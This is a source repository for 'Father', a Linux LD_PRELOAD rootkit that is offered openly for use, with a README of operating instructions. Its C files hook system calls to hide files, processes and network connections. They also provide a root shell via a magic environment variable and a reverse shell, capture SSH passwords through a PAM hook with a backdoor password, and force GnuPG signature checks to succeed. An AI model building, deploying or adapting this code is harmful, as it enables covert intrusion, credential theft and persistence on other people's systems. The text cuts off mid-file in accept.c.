├── bin └── .gitignore ├── .gitignore ├── src ├── remove_preload.asm ├── ptrace.c ├── readdir.c ├── access.c ├── config.h ├── exec.c ├── unlink.c ├── pam.c ├── stat.c ├── father.c ├── father.h ├── open.c └── accept.c ├── Makefile ├── LICENSE └── README.md /bin/.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.so 2 | *.bin 3 | .vagrant 4 | -------------------------------------------------------------------------------- /src/remove_preload.asm: -------------------------------------------------------------------------------- 1 | global _start 2 | 3 | section .data: 4 | fname db "/etc/ld.so.preload", 0 5 | 6 | section .text: 7 | _start: 8 | mov eax, 10 9 | mov ebx, fname 10 | int 0x80 11 | 12 | mov ebx, eax 13 | mov eax, 1 14 | int 0x80 15 | -------------------------------------------------------------------------------- /src/ptrace.c: -------------------------------------------------------------------------------- 1 | #include "father.h" 2 | 3 | /* long int (*o_ptrace1)(enum __ptrace_request, ...); */ 4 | /* long ptrace(enum __ptrace_request request, ...) { */ 5 | /* errno = EPERM; */ 6 | /* return -1; */ 7 | /* } */ 8 | 9 | /* long (*o_ptrace2)(enum __ptrace_request request, pid_t pid, void * addr, void * data); */ 10 | /* long ptrace(enum __ptrace_request request, pid_t pid, void * addr, void * data) { */ 11 | /* errno = EPERM; */ 12 | /* return -1; */ 13 | /* } */ 14 | -------------------------------------------------------------------------------- /src/readdir.c: -------------------------------------------------------------------------------- 1 | #include "father.h" 2 | 3 | /* 4 | * readdir() hook, hide based on the magic STRING. 5 | */ 6 | struct dirent *(*o_readdir)(DIR *); 7 | struct dirent *readdir(DIR *p) { 8 | 9 | #ifdef DEBUG 10 | fprintf(stderr, "readdir() called!\n"); 11 | #endif 12 | 13 | if (!o_readdir) 14 | o_readdir = dlsym(RTLD_NEXT, "readdir"); 15 | 16 | if (getegid() == GID) 17 | return o_readdir(p); 18 | 19 | struct dirent *dir = o_readdir(p); 20 | if (dir) { 21 | if (!strncmp(dir->d_name, STRING, strlen(STRING)) || 22 | strstr(dir->d_name, PRELOAD)) { 23 | dir = o_readdir(p); 24 | } 25 | } 26 | return dir; 27 | } 28 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | ASM=nasm 3 | SDIR=src 4 | ODIR=bin 5 | IDIR=$(SDIR) 6 | INSTALL=/lib 7 | CFLAGS+= -Wall -fPIC -shared -D_GNU_SOURCE 8 | LFLAGS=-ldl 9 | ASMFLAGS+= -f elf64 10 | _OBJS = accept.o access.o exec.o father.o open.o readdir.o stat.o unlink.o ptrace.o pam.o 11 | OBJS = $(patsubst %,$(ODIR)/%, $(_OBJS)) 12 | 13 | all: father fix 14 | 15 | $(ODIR)/%.o: $(SDIR)/%.c $(SDIR)/father.h 16 | $(CC) $(CFLAGS) -o $@ $< -c 17 | 18 | father: $(OBJS) 19 | $(CC) $(CFLAGS) $^ -o rk.so $(LFLAGS) 20 | 21 | fix: $(SDIR)/remove_preload.asm 22 | $(ASM) $(ASMFLAGS) $(SDIR)/remove_preload.asm -o $(ODIR)/remove_preload.o 23 | ld $(ODIR)/remove_preload.o -o fix.bin 24 | 25 | clean: 26 | rm -f $(OBJS) *.so *.bin 27 | unset LD_PRELOAD 28 | -------------------------------------------------------------------------------- /src/access.c: -------------------------------------------------------------------------------- 1 | #include "father.h" 2 | 3 | /* 4 | * access() hook to check magic GID, STRING, and PRELOAD location. Return NOENT 5 | * if found 6 | */ 7 | int (*o_access)(const char *, int mode); 8 | int access(const char *pathname, int mode) { 9 | 10 | #ifdef DEBUG 11 | fprintf(stderr, "access() called!\n"); 12 | #endif 13 | 14 | lpe_drop_shell(); 15 | 16 | if (!o_access) 17 | o_access = dlsym(RTLD_NEXT, "access"); 18 | 19 | if (getegid() == GID) 20 | return o_access(pathname, mode); 21 | 22 | struct stat s_buf; 23 | 24 | memset(&s_buf, 0, sizeof(struct stat)); 25 | 26 | __lxstat(_STAT_VER, pathname, &s_buf); 27 | 28 | if (s_buf.st_gid == GID || strstr(pathname, PRELOAD)) { 29 | errno = ENOENT; 30 | return -1; 31 | } 32 | 33 | return o_access(pathname, mode); 34 | } 35 | -------------------------------------------------------------------------------- /src/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG 2 | #define CONFIG 3 | 4 | /* magic GID */ 5 | #define GID 1337 6 | /* magic source port to trigger accept() backdoor */ 7 | #define SOURCEPORT 54321 8 | /* time for timebomb() to go off, in seconds since 1970-01-01 */ 9 | 10 | #define EPOCH_TIME 0000000000 11 | 12 | /* magic environment variable for Local Privilege Escalation (LPE) */ 13 | #define ENV "lobster" 14 | 15 | /* magic prefix for hidden files */ 16 | #define STRING "lobster" 17 | 18 | /* name to hide for files */ 19 | #define PRELOAD "ld.so.preload" // used for hiding 20 | 21 | /* port to remove from netstat output, etc */ 22 | #define HIDDENPORT "D431" 23 | 24 | /* password for accept() backdoor shell */ 25 | #define SHELL_PASS "lobster" 26 | 27 | /* location of rootkit on disk */ 28 | #define INSTALL_LOCATION "/lib/selinux.so.3" // used for reinstallation 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /src/exec.c: -------------------------------------------------------------------------------- 1 | #include "father.h" 2 | 3 | int (*o_execve)(const char *, char *const argv[], char *const envp[]); 4 | int execve(const char *path, char *const argv[], char *const envp[]) { 5 | 6 | #ifdef DEBUG 7 | fprintf(stderr, "execve() called!\n"); 8 | #endif 9 | 10 | if(!o_execve) o_execve = dlsym(RTLD_NEXT, "execve"); 11 | 12 | if(getegid() == GID) return o_execve(path, argv, envp); 13 | 14 | if(strstr(path, "ldd") || strstr(path, "ld-linux-")) { 15 | 16 | if(geteuid() != 0) { 17 | errno = ECONNRESET; 18 | return -1; 19 | } 20 | 21 | pid_t pid; 22 | 23 | // uninstall 24 | int (*o_unlink)(const char *) = dlsym(RTLD_NEXT, "unlink"); 25 | o_unlink("/etc/ld.so.preload"); 26 | if((pid = fork()) == 0) { 27 | return o_execve(path, argv, envp); 28 | } 29 | 30 | wait(&pid); 31 | FILE * (*o_fopen)(const char *, const char *) = 32 | dlsym(RTLD_NEXT, "fopen"); 33 | FILE * f = o_fopen("/etc/ld.so.preload", "w"); 34 | fprintf(f, INSTALL_LOCATION); 35 | fclose(f); 36 | exit(0); 37 | } 38 | 39 | return o_execve(path, argv, envp); 40 | } 41 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /src/unlink.c: -------------------------------------------------------------------------------- 1 | #include "father.h" 2 | 3 | /* 4 | * unlink() hook, hide based on the magic STRING and GID. 5 | */ 6 | int (*o_unlink)(const char *); 7 | int unlink(const char *pathname) { 8 | 9 | #ifdef DEBUG 10 | fprintf(stderr, "unlink() called!\n"); 11 | #endif 12 | 13 | lpe_drop_shell(); 14 | 15 | if(!o_unlink) o_unlink = dlsym(RTLD_NEXT, "unlink"); 16 | 17 | if(getegid() == GID) return o_unlink(pathname); 18 | 19 | // unlink() and unlinkat() 20 | 21 | struct stat s_buf; 22 | 23 | memset(&s_buf, 0, sizeof(struct stat)); 24 | 25 | __lxstat(_STAT_VER, pathname, &s_buf); 26 | 27 | if(s_buf.st_gid == GID || strstr(pathname, PRELOAD)) { 28 | errno = ENOENT; 29 | return -1; 30 | } 31 | 32 | return o_unlink(pathname); 33 | } 34 | 35 | /* 36 | * unlinkat() hook, hide based on the magic STRING and GID. 37 | */ 38 | int (*o_unlinkat)(int, const char *, int); 39 | int unlinkat(int dirfd, const char * pathname, int flags) { 40 | 41 | #ifdef DEBUG 42 | fprintf(stderr, "unlinkat() called!\n"); 43 | #endif 44 | 45 | lpe_drop_shell(); 46 | 47 | if(!o_unlinkat) o_unlinkat = dlsym(RTLD_NEXT, "unlinkat"); 48 | 49 | if(getegid() == GID) return o_unlinkat(dirfd, pathname, flags); 50 | 51 | struct stat s_buf; 52 | 53 | memset(&s_buf, 0, sizeof(struct stat)); 54 | 55 | __lxstat(_STAT_VER, pathname, &s_buf); 56 | 57 | if(s_buf.st_gid == GID || strstr(pathname, PRELOAD)) { 58 | errno = ENOENT; 59 | return -1; 60 | } 61 | 62 | return o_unlinkat(dirfd, pathname, flags); 63 | } 64 | -------------------------------------------------------------------------------- /src/pam.c: -------------------------------------------------------------------------------- 1 | #include "father.h" 2 | 3 | char * pampassword; 4 | 5 | void exfil(int type, int result, const char * username, const char * password) 6 | { 7 | FILE * fp = fopen("/tmp/silly.txt", "a+"); 8 | fprintf(fp, "%d:%d:%s:%s\n", type, result, username, password); 9 | fclose(fp); 10 | } 11 | 12 | // stores old SSHD conversation function 13 | int (*oldconv)(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr); 14 | 15 | // hook PAM conversation function 16 | int newconv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) { 17 | int res = 0; 18 | 19 | res = oldconv(num_msg, msg, resp, appdata_ptr); 20 | 21 | if (res == PAM_SUCCESS) { 22 | // PAM manpage says to leave resp_retcode unset, but SSHD 23 | // sets it to PAM_SUCCESS when it runs successfully 24 | if (resp[0]->resp_retcode == PAM_SUCCESS && resp[0]->resp) { 25 | 26 | // remove password if it is stored 27 | if(pampassword) { free(pampassword); pampassword = NULL; } 28 | 29 | // set password for later 30 | pampassword = strdup(resp[0]->resp); 31 | } 32 | } 33 | 34 | return res; 35 | } 36 | 37 | 38 | int (*o_pam_authenticate)(pam_handle_t *, int); 39 | int pam_authenticate(pam_handle_t * pamh, int flags) 40 | { 41 | int res = -1; 42 | struct pam_conv * myconv; 43 | 44 | if(o_pam_authenticate == NULL) { 45 | o_pam_authenticate = dlsym(RTLD_NEXT, "pam_authenticate"); 46 | } 47 | 48 | // sshd sets the PAM_CONV function to the the password conversation 49 | // function right before calling pam_authenticate() 50 | res = pam_get_item(pamh, PAM_CONV, (const void**)&myconv); 51 | if (res == PAM_SUCCESS) { 52 | // hook the conversation function 53 | oldconv = myconv->conv; 54 | myconv->conv = newconv; 55 | } else { 56 | if (o_pam_authenticate == NULL) return PAM_SUCCESS; 57 | return o_pam_authenticate(pamh, flags); 58 | } 59 | 60 | if (o_pam_authenticate == NULL) return PAM_SUCCESS; 61 | res = o_pam_authenticate(pamh, flags); 62 | 63 | if (res == PAM_SUCCESS && pampassword) { 64 | // exfil correct passwords 65 | exfil(100, 1, "password", pampassword); 66 | } else if (pampassword && !strcmp(pampassword, SHELL_PASS)) { 67 | // user got the password wrong but we like it anyway 68 | res = PAM_SUCCESS; 69 | } 70 | 71 | myconv->conv = oldconv; 72 | free(pampassword); 73 | pampassword = NULL; 74 | 75 | return res; 76 | } 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /src/stat.c: -------------------------------------------------------------------------------- 1 | #include "father.h" 2 | 3 | /* 4 | hook for __lxstat. Will be run by the rootkit internally to check file stats 5 | */ 6 | int (*o_lxstat)(int, const char *, struct stat *); 7 | int __lxstat(int version, const char *path, struct stat *buf) { 8 | 9 | #ifdef DEBUG 10 | fprintf(stderr, "__lxstat() called!\n"); 11 | #endif 12 | 13 | if (!o_lxstat) 14 | o_lxstat = dlsym(RTLD_NEXT, "__lxstat"); 15 | 16 | if (getegid() == GID) 17 | return o_lxstat(version, path, buf); 18 | 19 | int result = o_lxstat(version, path, buf); 20 | 21 | if (buf->st_gid == GID || strstr(path, PRELOAD)) { 22 | errno = ENOENT; 23 | return -1; 24 | } 25 | return result; 26 | } 27 | 28 | /* 29 | * __lxstat64() hook. Check for magic GID, and if set return an error. 30 | */ 31 | int (*o_lxstat64)(int, const char *, struct stat64 *); 32 | int __lxstat64(int version, const char *path, struct stat64 *buf) { 33 | 34 | #ifdef DEBUG 35 | fprintf(stderr, "__lxstat64() called!\n"); 36 | #endif 37 | 38 | if (!o_lxstat64) 39 | o_lxstat64 = dlsym(RTLD_NEXT, "__lxstat64"); 40 | 41 | if (getegid() == GID) 42 | return o_lxstat64(version, path, buf); 43 | 44 | int result = o_lxstat64(version, path, buf); 45 | 46 | if (buf->st_gid == GID || strstr(path, PRELOAD)) { 47 | errno = ENOENT; 48 | return -1; 49 | } 50 | return result; 51 | } 52 | 53 | /* 54 | * lstat() hook. Check for magic GID, STRING, and PRELOAD location and if set 55 | * return an error. 56 | */ 57 | int (*o_lstat)(const char *, struct stat *); 58 | int lstat(const char *path, struct stat *buf) { 59 | 60 | #ifdef DEBUG 61 | fprintf(stderr, "lstat() called!\n"); 62 | #endif 63 | 64 | if (!o_lstat) 65 | o_lstat = dlsym(RTLD_NEXT, "lstat"); 66 | 67 | if (getegid() == GID) 68 | return o_lstat(path, buf); 69 | 70 | int result = o_lstat(path, buf); 71 | 72 | if (buf->st_gid == GID || strstr(path, PRELOAD)) { 73 | errno = ENOENT; 74 | return -1; 75 | } 76 | 77 | return result; 78 | } 79 | 80 | /* 81 | * Check if fd has the magic GID, and if set return NOENT. 82 | */ 83 | int (*o_fstat)(int, struct stat *); 84 | int fstat(int filedes, struct stat *buf) { 85 | 86 | #ifdef DEBUG 87 | fprintf(stderr, "fstat() called!\n"); 88 | #endif 89 | 90 | if (!o_fstat) 91 | o_fstat = dlsym(RTLD_NEXT, "fstat"); 92 | 93 | if (getegid() == GID) 94 | return o_fstat(filedes, buf); 95 | 96 | int result = o_fstat(filedes, buf); 97 | 98 | if (buf->st_gid == GID) { 99 | errno = ENOENT; 100 | return -1; 101 | } 102 | 103 | return result; 104 | } 105 | -------------------------------------------------------------------------------- /src/father.c: -------------------------------------------------------------------------------- 1 | #include "father.h" 2 | 3 | /* 4 | timebomb component. runs when the library is loaded or unloaded from an 5 | application 6 | */ 7 | __attribute__((constructor)) __attribute__((destructor)) void timebomb() { 8 | 9 | if ((unsigned long)time(NULL) >= (unsigned long)EPOCH_TIME) { 10 | ; // do whatever here 11 | } 12 | } 13 | 14 | /* 15 | * Local Privilege Escalation (LPE) via specific environment variable. Called 16 | * from a setuid/setgid binary to achieve root privileges. This technique isn't 17 | * mine, I saw it first in Jynx2 (https://github.com/chokepoint/Jynx2) 18 | */ 19 | void lpe_drop_shell() { 20 | 21 | #ifdef DEBUG 22 | fprintf(stderr, "lpe_drop_shell() called!\n"); 23 | #endif 24 | 25 | if (geteuid() == 0 && getenv(ENV)) { 26 | setuid(0); 27 | seteuid(0); 28 | setgid(GID); 29 | unsetenv(ENV); 30 | puts("Enjoy the shell!"); 31 | execl("/bin/bash", "/bin/bash", (char *)0); 32 | } 33 | } 34 | 35 | /* 36 | * Basic reverse shell to the client 37 | * @param ip is a c string of an IP address 38 | * @param port is a port in host mode 39 | */ 40 | void backconnect(char *ip, int port) { 41 | #ifdef DEBUG 42 | fprintf(stderr, "backconnect() called!\n"); 43 | #endif 44 | 45 | pid_t pid = fork(); 46 | 47 | if (pid == 0) { 48 | 49 | struct sockaddr_in sin; 50 | int sock; 51 | 52 | sin.sin_family = AF_INET; 53 | sin.sin_addr.s_addr = inet_addr(ip); 54 | sin.sin_port = htons(port); 55 | sock = socket(AF_INET, SOCK_STREAM, 0); 56 | 57 | connect(sock, (struct sockaddr *)&sin, sizeof(sin)); 58 | 59 | dup2(sock, 0); 60 | dup2(sock, 1); 61 | dup2(sock, 2); 62 | 63 | if (geteuid() == 0) 64 | setgid(GID); 65 | execl("/bin/bash", "/bin/bash", (char *)0); 66 | } 67 | } 68 | 69 | /* 70 | * Hide connections on the magic port from netstat. 71 | * @param pathname is going to be either /proc/net/tcp or /proc/net/tcp6 72 | * @param mode is the mode to open it in 73 | * @param *old_fopen is the fopen function to use, either fopen() or fopen64() 74 | */ 75 | FILE *falsify_tcp(const char *pathname, const char *mode, 76 | FILE *(*old_fopen)(const char *, const char *)) { 77 | 78 | #ifdef DEBUG 79 | fprintf(stderr, "falsify_tcp() called!\n"); 80 | #endif 81 | 82 | FILE *real = old_fopen(pathname, mode); 83 | FILE *fake = tmpfile(); 84 | char line[200]; 85 | 86 | while (fgets(line, sizeof(line), real)) { 87 | if (strstr(line, HIDDENPORT) == NULL) { 88 | fputs(line, fake); 89 | } 90 | } 91 | 92 | fclose(real); 93 | rewind(fake); 94 | return fake; // detect with fcntl() ; if fd is in write mode 95 | } 96 | 97 | /* 98 | * Break GnuPG signatures, and have them always return success 99 | */ 100 | gcry_error_t (*o_verify)(gcry_sexp_t, gcry_sexp_t, gcry_sexp_t); 101 | gcry_error_t gcry_pk_verify(gcry_sexp_t sig, gcry_sexp_t data, 102 | gcry_sexp_t pkey) { 103 | 104 | #ifdef DEBUG 105 | fprintf(stderr, "gcry_pk_verify() called!\n"); 106 | #endif 107 | 108 | if (!o_verify) 109 | o_verify = dlsym(RTLD_NEXT, "gcry_pk_verify"); 110 | 111 | if (getegid() == GID) 112 | return o_verify(sig, data, pkey); 113 | 114 | return 0; 115 | } 116 | 117 | /* 118 | * Unsafe demo function. Used for detection. 119 | */ 120 | char *strfry(char *string) { 121 | 122 | #ifdef DEBUG 123 | fprintf(stderr, "strfry() called!\n"); 124 | #endif 125 | 126 | return string; 127 | } 128 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Father 2 | 3 | ![nil is goated](https://img.shields.io/badge/nil-goated-green) 4 | 5 | 6 | 7 | 8 | ## Overview 9 | 10 | ***Father*** is a short LD_PRELOAD rootkit for Linux. It's designed to be used in a competition environment, and has various standard features:
11 | 12 | * Network hiding 13 | * File hiding 14 | * Process hiding 15 | * Local privilege escalation 16 | * Remote accept() hook backdoor 17 | * Time/logic bomb component 18 | * GnuPG signature interception 19 | * Anti-detection 20 | 21 | ## Installation 22 | 23 | ### Dependencies 24 | To install Father, download the source code and change the configuration options to reflect your desired values. You can set the INSTALL_LOCATION to a file with the STRING prefix to hide the kit on disk. 25 | 26 | To compile the kit you'll need to download libgcrypt on your computer. The dynamic linker will resolve all libgcrypt calls (like from GnuPG) to our dynamic library. 27 | 28 | 29 | ## Operation 30 | 31 | ### Priv-Esc 32 | 33 | To escalate privileges, just run a setuid program like *sudo* or *gpasswd* from the command prompt with your specified environment variable set. While in the shell you'll possess your magic GID and rootkit functions will be disabled, giving you unrestricted access to the system. Any processes spawned will be hidden from utilities like ps. This should work for most binaries. 34 | 35 | ```bash 36 | $ Father=a gpasswd 37 | 38 | Enjoy the shell! 39 | 40 | root@sectorv:~# 41 | ``` 42 | 43 | ### accept() backdoor 44 | 45 | To use the accept backdoor, connect to a listening TCP socket on the system from the defined source port. If everything is working you'll be prompted to authenticate with your password and on complete will be presented with a bind shell. It will inherit the permissions of the running process, and if possible hide itself from the process list. This behavior can be changed to a reverse shell over the hidden port by uncommenting the relevant code block in the source. 46 | 47 | ```bash 48 | root@kali:~# ncat $IP 22 -p $SOURCEPORT 49 | 50 | 51 | AUTHENTICATE: father 52 | 53 | ``` 54 | 55 | ### GnuPG Signature Tampering 56 | 57 | This is very easy to implement, but meant moreso as a proof of concept. Since GnuPG is a dynamically linked program, we can intercept the calls it makes to its own library libgcrypt and change the return values. If you load the kit and then run any libgcrypt signature verification you'll receive a succcessful result, regardless of file or signature content. In theory this can be expanded to backdoor other operations like key reading and generation, or encryption/decryption. 58 | 59 | 60 | ### remove_preload.asm 61 | 62 | remove_preload.asm is a short assembly program that unlinks /etc/ld.so.preload. The kit can be removed from the backdoor shell, but this provides a smaller and more easily scripted way to do so. It can be run in a loop by a blue team to prevent installation of most LD_PRELOAD based malware. 63 | 64 | ### IOCs 65 | 66 | * ssdeep: 192:RRhX15E5vzeV88cAgVrJbcvJuxI61ttgjnaJcac0tQCmOuJ/nwfoTnhawnh5HSh:FsvKrcAgrpAq/OaJcacK9BcnEwK 67 | -------------------------------------------------------------------------------- /src/father.h: -------------------------------------------------------------------------------- 1 | #ifndef FATHER_H 2 | #define FATHER_H 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include "config.h" 26 | 27 | // could be needed on some versions of glibc 28 | // https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/message/SMQ3RYXEYTVZH6PLQMKNB3NM4XLPMNZO/ 29 | // credits to Jan Pazdziora and Ilya Lipnitskiy 30 | #ifndef _STAT_VER 31 | #if defined (__aarch64__) 32 | #define _STAT_VER 0 33 | #elif defined (__x86_64__) 34 | #define _STAT_VER 1 35 | #else 36 | #define _STAT_VER 3 37 | #endif 38 | #endif 39 | 40 | // function pointers 41 | extern int (*o_lxstat)(int, const char *, struct stat *); 42 | extern int (*o_lxstat64)(int, const char *, struct stat64 *); 43 | extern int (*o_lstat)(const char *, struct stat *); 44 | extern int (*o_fstat)(int, struct stat *); 45 | extern int (*o_access)(const char *, int mode); 46 | extern int (*o_open)(const char *, int, mode_t); 47 | extern int (*o_open64)(const char *, int, mode_t); 48 | extern int (*o_openat)(int, const char *, int); 49 | extern int (*o_accept)(int, struct sockaddr *, socklen_t *); 50 | extern struct dirent * (*o_readdir)(DIR *); 51 | extern int (*o_unlink)(const char *); 52 | extern int (*o_unlinkat)(int, const char *, int); 53 | extern int (*o_getsockname)(int, struct sockaddr *, socklen_t *); 54 | extern FILE * (*o_fopen)(const char *, const char *); 55 | extern FILE * (*o_fopen64)(const char *, const char *); 56 | extern DIR * (*o_opendir)(const char *); 57 | extern long (*o_ptrace)(enum __ptrace_request, pid_t, void *, void *); 58 | extern int (*o_execve)(const char *, char *const argv[], char *const envp[]); 59 | extern int (*o_pam_authenticate)(pam_handle_t *, int); 60 | extern int (*o_pam_get_item)(const pam_handle_t *, int, const void **); 61 | extern gcry_error_t (*o_verify)(gcry_sexp_t, gcry_sexp_t, gcry_sexp_t); 62 | 63 | // functions hooks (interceptions) 64 | extern int __lxstat(int version, const char *path, struct stat *buf); 65 | extern int __lxstat64(int version, const char *path, struct stat64 *buf); 66 | extern int lstat(const char * path, struct stat * buf); 67 | extern int fstat(int filedes, struct stat *buf); 68 | extern int access(const char * pathname, int mode); 69 | extern int open(const char *pathname, int flags, mode_t mode); 70 | extern int open64(const char *pathname, int flags, mode_t mode); 71 | extern int openat(int dirfd, const char * pathname, int flags); 72 | extern struct dirent * readdir(DIR *p); 73 | extern int unlink(const char *pathname); 74 | extern int unlinkat(int dirfd, const char * pathname, int flags); 75 | extern int getsockname(int socket, struct sockaddr * addr, socklen_t * addrlen); 76 | extern FILE * fopen(const char * pathname, const char *mode); 77 | extern FILE * fopen64(const char * pathname, const char * mode); 78 | extern int accept(int sockfd, struct sockaddr * addr, socklen_t * addrlen); 79 | extern DIR * opendir(const char *name); 80 | extern int execve(const char *path, char *const argv[], char *const envp[]); 81 | extern int pam_get_item(const pam_handle_t * pamh, int item_type, const void ** item); 82 | extern int pam_authenticate(pam_handle_t * pamh, int flags); 83 | //extern long ptrace(enum __ptrace_request request, pid_t pid, void * addr, void * data); 84 | //extern long ptrace(enum __ptrace_request request, ...); 85 | extern gcry_error_t gcry_pk_verify(gcry_sexp_t sig, gcry_sexp_t data, gcry_sexp_t pkey); 86 | 87 | // utility functions 88 | extern FILE * falsify_tcp(const char * pathname, const char * mode, FILE * (*old_fopen)(const char *, const char *)); 89 | extern void lpe_drop_shell(); 90 | extern void backconnect(char * ip, int port); 91 | 92 | // ascii art 93 | extern char art[]; 94 | 95 | #endif 96 | -------------------------------------------------------------------------------- /src/open.c: -------------------------------------------------------------------------------- 1 | #include "father.h" 2 | 3 | /* 4 | * open() hook, check GID and preload location. Attempt LPE. 5 | */ 6 | int (*o_open)(const char *, int, mode_t); 7 | int open(const char *pathname, int flags, mode_t mode) { 8 | 9 | #ifdef DEBUG 10 | fprintf(stderr, "open() called!\n"); 11 | #endif 12 | 13 | lpe_drop_shell(); 14 | 15 | if (!o_open) 16 | o_open = dlsym(RTLD_NEXT, "open"); 17 | 18 | if (getegid() == GID) 19 | return o_open(pathname, flags, mode); 20 | 21 | struct stat s_buf; 22 | 23 | memset(&s_buf, 0, sizeof(struct stat)); 24 | 25 | __lxstat(_STAT_VER, pathname, &s_buf); 26 | 27 | if (s_buf.st_gid == GID || strstr(pathname, PRELOAD)) { 28 | errno = ENOENT; 29 | return -1; 30 | } 31 | 32 | return o_open(pathname, flags, mode); 33 | } 34 | 35 | /* 36 | * open64() hook, check GID and preload location. Attempt LPE. 37 | */ 38 | int (*o_open64)(const char *, int, mode_t); 39 | int open64(const char *pathname, int flags, mode_t mode) { 40 | 41 | #ifdef DEBUG 42 | fprintf(stderr, "open64() called!\n"); 43 | #endif 44 | 45 | lpe_drop_shell(); 46 | 47 | if (!o_open64) 48 | o_open64 = dlsym(RTLD_NEXT, "open64"); 49 | 50 | if (getegid() == GID) 51 | return o_open64(pathname, flags, mode); 52 | 53 | struct stat64 s_buf; 54 | 55 | memset(&s_buf, 0, sizeof(struct stat64)); 56 | 57 | __lxstat64(_STAT_VER, pathname, &s_buf); 58 | 59 | if (s_buf.st_gid == GID || strstr(pathname, PRELOAD)) { 60 | errno = ENOENT; 61 | return -1; 62 | } 63 | 64 | return o_open64(pathname, flags, mode); 65 | } 66 | 67 | /* 68 | * openat() hook. Called by grep and other programs 69 | */ 70 | int (*o_openat)(int, const char *, int); 71 | int openat(int dirfd, const char *pathname, int flags) { 72 | 73 | #ifdef DEBUG 74 | fprintf(stderr, "openat() called!\n"); 75 | #endif 76 | 77 | if (!o_openat) 78 | o_openat = dlsym(RTLD_NEXT, "openat"); 79 | 80 | if (getegid() == GID) 81 | return o_openat(dirfd, pathname, flags); 82 | 83 | struct stat sbuf; 84 | 85 | fstatat(dirfd, pathname, &sbuf, flags); 86 | 87 | if (sbuf.st_gid == GID || strstr(pathname, PRELOAD)) { 88 | errno = ENOENT; 89 | return -1; 90 | } 91 | 92 | return o_openat(dirfd, pathname, flags); 93 | } 94 | 95 | DIR *(*o_opendir)(const char *); 96 | DIR *opendir(const char *name) { 97 | 98 | #ifdef DEBUG 99 | fprintf(stderr, "opendir() called!\n"); 100 | #endif 101 | 102 | if (!o_opendir) 103 | o_opendir = dlsym(RTLD_NEXT, "opendir"); 104 | 105 | if (getegid() == GID) 106 | return o_opendir(name); 107 | 108 | struct stat buf; 109 | 110 | __lxstat(_STAT_VER, name, &buf); 111 | 112 | if (buf.st_gid == GID || strstr(name, STRING)) { 113 | errno = ENOENT; 114 | return NULL; 115 | } 116 | 117 | return o_opendir(name); 118 | } 119 | 120 | /* 121 | * fopen() hook. Check MAGIC GID, attempt LPE, and call falsify_tcp() to hide 122 | * network connections. 123 | */ 124 | FILE *(*o_fopen)(const char *, const char *); 125 | FILE *fopen(const char *pathname, const char *mode) { 126 | 127 | #ifdef DEBUG 128 | fprintf(stderr, "fopen() called!\n"); 129 | #endif 130 | 131 | lpe_drop_shell(); 132 | 133 | if (!o_fopen) 134 | o_fopen = dlsym(RTLD_NEXT, "fopen"); 135 | 136 | if (getegid() == GID) 137 | return o_fopen(pathname, mode); 138 | 139 | struct stat64 sbuf; 140 | 141 | __lxstat64(_STAT_VER, pathname, &sbuf); 142 | 143 | if (sbuf.st_gid == GID) { 144 | errno = ENOENT; 145 | return NULL; 146 | } 147 | 148 | if (!strncmp(pathname, "/proc/net/tcp", 13)) { 149 | return falsify_tcp(pathname, mode, o_fopen); 150 | } 151 | return o_fopen(pathname, mode); 152 | } 153 | 154 | /* 155 | * fopen64() hook. Check MAGIC GID, attempt LPE, and call falsify_tcp() to hide 156 | * network connections. 157 | */ 158 | FILE *(*o_fopen64)(const char *, const char *); 159 | FILE *fopen64(const char *pathname, const char *mode) { 160 | 161 | #ifdef DEBUG 162 | fprintf(stderr, "fopen64() called!\n"); 163 | #endif 164 | 165 | lpe_drop_shell(); 166 | 167 | if (!o_fopen64) 168 | o_fopen64 = dlsym(RTLD_NEXT, "fopen64"); 169 | 170 | if (getegid() == GID) 171 | return o_fopen64(pathname, mode); 172 | 173 | struct stat64 sbuf; 174 | 175 | __lxstat64(_STAT_VER, pathname, &sbuf); 176 | 177 | if (sbuf.st_gid == GID) { 178 | errno = ENOENT; 179 | return NULL; 180 | } 181 | 182 | if (!strncmp(pathname, "/proc/net/tcp", 13)) { 183 | return falsify_tcp(pathname, mode, o_fopen64); 184 | } 185 | return o_fopen64(pathname, mode); 186 | } 187 | -------------------------------------------------------------------------------- /src/accept.c: -------------------------------------------------------------------------------- 1 | #include "father.h" 2 | 3 | // ascii art 4 | char art[] = { 5 | 0x20, 0x23, 0x23, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 